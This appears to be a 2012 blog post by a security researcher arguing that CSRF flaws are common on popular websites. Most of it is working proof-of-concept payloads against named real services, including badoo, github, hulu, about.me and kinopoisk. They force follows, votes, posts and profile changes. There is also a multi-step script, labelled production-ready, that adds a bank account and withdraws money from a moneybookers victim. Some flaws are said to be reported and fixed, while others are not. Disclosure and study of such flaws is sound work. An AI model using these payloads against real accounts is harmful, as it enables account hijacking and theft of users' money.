Remark: Post is published on April 2(but was expected yesterday) coz Berlin haz no free wifi cause I'm not joking and I figured out that Sunday is the worst day for urgent updates. Well, who cares the date, enjoy:
TL;DR:
I'm trying hard to prove my point that statement "CSRF is only the developers' problem" is not true. I provided some examples and I want you to check them out. I really appreciate any viewpoint at this problem. Thank you for your attention in advance!
Quick overview:
badoo.com
showcase:
document.write('<form action="http://badoo.com/ws/anketa-ws.phtml?ws=1" method=post> <input name="name" value="SUUUUP"><input name="fname" value="SUUUUP"><input name="sname" value="SUUUUP"><input name="birth_day" value="28"><input name="birth_month" value="01"><input name="section" value="basic"><input name="birth_year" value="1991"> </form>')
description:
e.g. changing your profile details. No protection at all.
github.com
showcase:
<iframe name=ifr></iframe>
<script>
document.write('<form target=ifr name=pwn method=post action="https://github.com/users/follow?target=homakov"></form>')
pwn.submit()
</script>
description:
makes you follow certain account without your confirmation. reported few weeks ago and fixed.
slideshare.net
showcase:
document.write('<form name=h action="http://lockerz.com/profile/follow/19880685" method=post></form>'); h.submit()
description:
following w/o confirmation
yfrog.com
showcase:
document.write('<form action="http://yfrog.com/message/post.json" name=h method=post><input name="services[]" value="twitter"><input name="message" value="@yfrog ur pwned"></form>'); document.h.submit();
description:
following w/o confirmation
posting w/o confirmation
well, just anything. reported / fixed.
kinopoisk.ru
showcase: http://www.kinopoisk.ru/vote.php?film=FILM_ID&film_vote=VOTE_FROM_1_TO_10
description: GET request in an image, for example, will set highest rating for some trash-movie on behalf of your account.
I lol'd when found this vulnerability. Movies' ratings is the core feature of kinopoisk(It is like Russian IMDB), site has enormous number of visitors and now we realize that all ratings there worth nothing :(
formspring.com
showcase: document.write('<form action="http://www.formspring.me/follow/add/WHO_TO_FOLLOW" method=post><input name=public value=1><input name=ajax value=1></form>')
description: Quite standard hole - easy way to gain thousands of followers :D
odesk.com
showcase:
mycb=function(){console.log(arguments);}
document.write('<script src="https://www.odesk.com/api/hr/v1/flagging.json?flagged_item=user&flagged_item_id=1&func=getFlagList&group_id=1&callback=mycb"></script>');
description:
this vulnerability deserves separated post. In general: JSONP should be used very carefully. And, yeah, CSRF vulnerable. It's getting boring.
dailymotion.com
showcase: http://www.dailymotion.com/pageitem/user/subscribe?request=USERNAME&method=toggleSubscribe
description: subscribing via GET..
vimeo.com
showcase: https://player.vimeo.com/like/ID?callback=cb&status=1
https://player.vimeo.com/watch_later/ID?callback=cb&status=1
description: adding to watchlist, liking and other stuff..
about.me
showcase: document.write('<form method=post name=h action="http://about.me/ajax"><input name="profile_text_content" value="YOBA ETO TY"><input name=call value=save></form>')
description: Typical, CSRF vulnerable service. Should I continue? You can change any field in user's profile :(
bitbucket.org
showcase: GET to https://bitbucket.org/USERNAME/follow
description: Following.
posterous.com
showcase: document.write('<form action="http://posterous.com/api/2/sites/1314005/subscribe" method=post><input name=_method value=put></form>')
http://homakov.posterous.com/likes/create?like_type=post&post_id=10132110
description:
liking, subscribing.
hulu.com
showcase: document.write('<form action="http://www.hulu.com/videos/vote/344578" method=post><input name=up value=5><input name=_ value=""></form>')
http://www.hulu.com/shows/subscribe/344578?type=episodes,clips&first_run_only=0
description:
voting w/o confirmation(like kinopoisk example), subscribing to new episodes..
moneybookers.com
showcase(production-ready code to steal money):
document.write('<iframe width="100%" height="100%" name="h" src="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks"></iframe>')
document.write('<form name=step1 target=h action="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=post><input name=action value=search><input name=country value=RUS><input name=swift value=PRTBRUMM><input type=submit></form>')
document.write('<form name=step2 target=h action="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=post><input name=action value=add><input name=country value=RUS><input name=bank_id value=0><input name=account_no value=123234123234><input type=submit></form>')
get_bank_id=function(){
//it's mock, dummy procedure. Getting latest primary key of just created bank account isn't difficult. But involves some server side interaction. I won't give out this code, sorry.
return 123234345; //primary key of fresh created bank account in victim's profile
}
how_much = function(time){
//we will repeat withdraw request with lower amount every time - so we could withdraw as much as possible
return [5000, 3000, 1000, 500, 150, 100][time]
}
document.write('<form name=step3 target=h action="https://www.moneybookers.com/app/download.pl" method=post><input name=posted value=confirm><input name=destination value=BWI><input name=bankwire_account value='+get_bank_id()+'><input name=txtAmount value='+how_much(0)+'><input type=submit></form>')
//this form contains my birthday. it's not difficult to find out anybody's birthday either.
document.write('<form name=step4 target=h action="https://www.moneybookers.com/app/download.pl" method=post><input name=posted value=execute><input name=dob_day value=28><input name=dob_month value=04><input name=dob_year value=1993><input type=submit></form>')
setTimeout(function(){
step1.submit()
},1000);
setTimeout(function(){
step2.submit()
},2000);
setTimeout(function(){
step3.submit();
},3000)
setTimeout(function(){
step4.submit();
},4000)
description:
It's the best showcase IMO. This one is "Production ready" and I have tried it to withdraw money on myself from my own account and it worked. Reported and fixed. This example illustrates the whole point of the post. It's quite boring to explain the same looking vulnerabilites - remember, if you can do force people to follow without confirmation you(most likely) can do the same with his money. Think about it.
Face it.
Well, these showcases are the tiny part of vulnerable POPULAR(I don't even mention middle and small websites. they're just doomed...) sites at the moment.
I'm quite exhausted to explore it - approx. 50-70% of what I try have holes/bugs and I'm talking about Alexa Top sites(lol!). And it would be unbelievebly huge post if I include them all. bit more:
pinterest.com, GET let's u wipe bio and website info
dnsimple.com, you can add services to user's domain via GET
disqus.com(let's me comment any post on behalf of your account; quite interesting hack here, subtle trick-hole with Webkit engine, stay tuned!),
translate.ru(easy to steal cookies and account; it's bad idea to load 3rd parties JS in iframe with your document.domain. probably will publish more information on iframe's domain sameOriginPolicy later, must-read topic),
heroku.com(well, administration can be done via GET - smth like this: <img src=xxx/update?site_name[name]=yyy> will rename your xxx.herokuapp.com to yyy.herokuapp.com)
booking.com(vulnerable. I had an idea to add Saransk city to your "Favorite places" but changed my mind. It would be funny though.)
etc I forgot few.
Also, most of showcases here are not critical for only one reason - jail is not cozy for living, in my opinion. In fact, and that's obvious, if you find certain type of vulnerability you can use it both ways e.g. set up 3012 as date of post OR add your public key to victim's repo, you know what I'm talking about. Check your codebase.
Guys from HN disappoint me with their conservatism. It's quite easy to repeat "It works fine, Google and Mozilla have best programmers, well known attack, popular sites are protected(ORLY?!), go home kid".
That was an expected behavior, so I hope, this post makes them to face facts. 2+2=4 and CSRF = the huge, wide-spreaded problem that should be solved now or never.
Well, no matter who's vulnerability it is. I don't care anymore: Browsers, apps, programmers, standards. There is 1 fact - lots of sites in the Internet are vulnerable(in 2012, after 11 years). That's all I want to explain and discuss with you.
I made the point - you fix in up-to-you way. Fix. But, frankly, making small warning-bar in browsers seems more sane than teaching every single programmer from newbie to senior CSRF protection and polluting every HTTP POST request with token.